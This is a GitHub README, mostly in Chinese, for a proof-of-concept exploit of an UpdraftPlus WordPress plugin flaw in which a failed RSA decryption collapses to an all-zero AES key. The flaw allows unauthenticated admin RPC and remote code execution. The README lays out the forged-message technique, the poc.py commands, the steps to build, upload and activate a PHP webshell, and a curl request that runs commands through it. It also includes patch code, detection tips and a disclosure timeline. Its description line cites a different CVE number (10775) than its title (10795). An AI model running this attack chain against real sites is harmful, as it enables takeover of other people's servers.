izxci/CVE-2026-10795

GitHub: izxci/CVE-2026-10795

CVE-2026-10775 的 PoC 利用脚本,演示了 UpdraftPlus 插件因 RSA 解密返回值未校验而导致的未授权身份验证绕过至 RCE 的完整攻击链。

Stars: 0 | Forks: 0

# CVE-2026-10795 CVE-2026-10795 – UpdraftPlus 身份验证绕过 # CVE-2026-10795 – UpdraftPlus 身份验证绕过 PoC ## 📋 概述 | 字段 | 详情 | |---|---| | **插件** | UpdraftPlus: WP Backup & Migration | | **受影响版本** | ≤ 1.26.4 | | **已修复版本** | 1.26.5 | | **CVSS 评分** | 8.1 (高危) | | **漏洞类型** | 未授权身份验证绕过 → RCE | | **发现者** | vtim (Wordfence Bug Bounty) | | **赏金** | $5,200 | ## 🔍 漏洞概述 对于连接到 UpdraftCentral 的站点,UpdraftPlus 会在每次页面加载时注册一个 **未授权的 RPC 监听器**。 `decrypt_message()` 函数未能验证 `$rsa->decrypt()` 的返回值。 当 RSA 解密失败时,会向 `Rijndael::setKey()` 传递 `false`,从而坍缩为一个 **确定性的全零 AES-128 密钥**。 攻击者可以: 1. 伪造一个使用零密钥加密的 `udrpc_message` 2. 让服务器成功解密它 3. 以已连接的管理员身份执行任意 RPC 命令 4. 上传并激活恶意插件 → **远程代码执行 (RCE)** ## 🧬 存在漏洞的代码 ``` // updraftplus/includes/class-remote-communications-v2.php // Lines 460-491 (version 1.26.4) $sym_key = $rsa->decrypt($sym_key); // ❌ No return value check! $rij->setKey($sym_key); // false → all-zero key return $rij->decrypt($ciphertext); ``` ## ✅ 已修复的代码 ``` $sym_key = $rsa->decrypt($sym_key); // ✅ Added in 1.26.5 if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; } $rij->setKey($sym_key); return $rij->decrypt($ciphertext); ``` ## 📁 仓库结构 ``` updraftplus-auth-bypass/ ├── README.md ├── poc.py # Main exploit script ├── requirements.txt # Python dependencies ├── payloads/ │ ├── list_plugins.py # List installed plugins │ ├── upload_shell.py # Upload webshell plugin │ └── activate_plugin.py # Activate uploaded plugin ├── shell/ │ ├── build_shell.py # Builds webshell ZIP │ └── test-shell.php # Minimal PHP webshell └── docs/ ├── technical-analysis.md └── patch-diff.md ``` ## ⚙️ 安装说明 ``` git clone https://github.com/yourname/updraftplus-auth-bypass cd updraftplus-auth-bypass pip install -r requirements.txt ``` **requirements.txt** ``` requests==2.31.0 pycryptodome==3.20.0 ``` ## 🧪 测试环境搭建 ### 1. 安装 XAMPP ``` https://www.apachefriends.org Start: Apache + MySQL ``` ### 2. 安装 WordPress + UpdraftPlus 1.26.4 ``` # 将 WordPress 放置在 htdocs 中 C:/xampp/htdocs/wordpress/ # 安装存在漏洞的插件版本 # 下载:https://plugins.trac.wordpress.org/browser/updraftplus/tags/1.26.4 ``` ### 3. 连接到 UpdraftCentral ``` WordPress Admin → Settings → UpdraftPlus → UpdraftCentral tab → Connect ``` ## 🚀 用法 ### 基本用法 ``` python poc.py --url http://localhost/wordpress/ --user-id 1 ``` ### 列出插件 ``` python poc.py --url http://localhost/wordpress/ --cmd plugin.get_plugins ``` ### 上传 Webshell ``` # 步骤 1:构建 shell ZIP python shell/build_shell.py # 步骤 2:上传 python poc.py --url http://localhost/wordpress/ --cmd upload_shell # 步骤 3:激活 python poc.py --url http://localhost/wordpress/ --cmd activate_shell # 步骤 4:测试 RCE curl "http://localhost/wordpress/wp-content/plugins/test-shell/test-shell.php?cmd=whoami" ``` ## 🔬 工作原理 ``` poc.py │ ├─ 1. Craft malformed RSA-encrypted sym_key (garbage bytes) │ ├─ 2. Encrypt RPC payload with ZERO AES-128 key (0x00 * 16) │ ├─ 3. Build udrpc_message: │ [3-byte hex len][fake_sym_key][16-byte hex cipherlen][ciphertext] │ ├─ 4. POST to target (no auth, no nonce, no cookies needed) │ └─ 5. Server-side: rsa->decrypt(garbage) → false setKey(false) → 0x00 key decrypt(ciphertext) → our payload ✅ wp_set_current_user() → admin access RPC command executes → RCE 💀 ``` ## 🛡️ 检测与缓解措施 ### 缓解措施 ``` Update UpdraftPlus to version 1.26.5 immediately. ``` ### 检测 (日志分析) ``` # 查找带有 udrpc_message 的可疑 POST 请求 grep "udrpc_message" /var/log/apache2/access.log # 自 2026 年 6 月 3 日起,Wordfence 用户已受到保护 ``` ### 危害指标 ``` - Unexpected plugin installations - New PHP files in wp-content/plugins/ - POST requests to WordPress root with udrpc_message parameter - Unexpected admin-level actions in WordPress logs ``` ## 📅 披露时间线 | 日期 | 事件 | |---|---| | 2026年6月1日 | 通过 Wordfence Bug Bounty 提交漏洞 | | 2026年6月3日 | 验证并披露给供应商 | | 2026年6月3日 | 部署 Wordfence Premium 防火墙规则 | | 2026年6月4日 | 供应商确认 | | 2026年6月5日 | 发布补丁 (v1.26.5) | | 2026年7月3日 | Wordfence 免费版防护生效 | ## 📚 参考 - [Wordfence 安全公告](https://www.wordfence.com/threat-intel/vulnerabilities/) - [UpdraftPlus 插件页面](https://wordpress.org/plugins/updraftplus/) - [phpseclib RSA 文档](https://phpseclib.com/docs/rsa) - [插件更新日志](https://plugins.trac.wordpress.org/browser/updraftplus/) ## 👤 致谢 - **原始发现:** vtim (Wordfence Bug Bounty 计划) - **PoC 作者:** izxci - **目的:** 教育 / 安全研究 ## 📜 许可证 ``` MIT License – For educational use only. Unauthorized use against systems you don't own is illegal. ```
标签:CISA项目, Python, WordPress插件, 安全漏洞, 无后门, 编程工具, 身份验证绕过, 远程代码执行, 逆向工具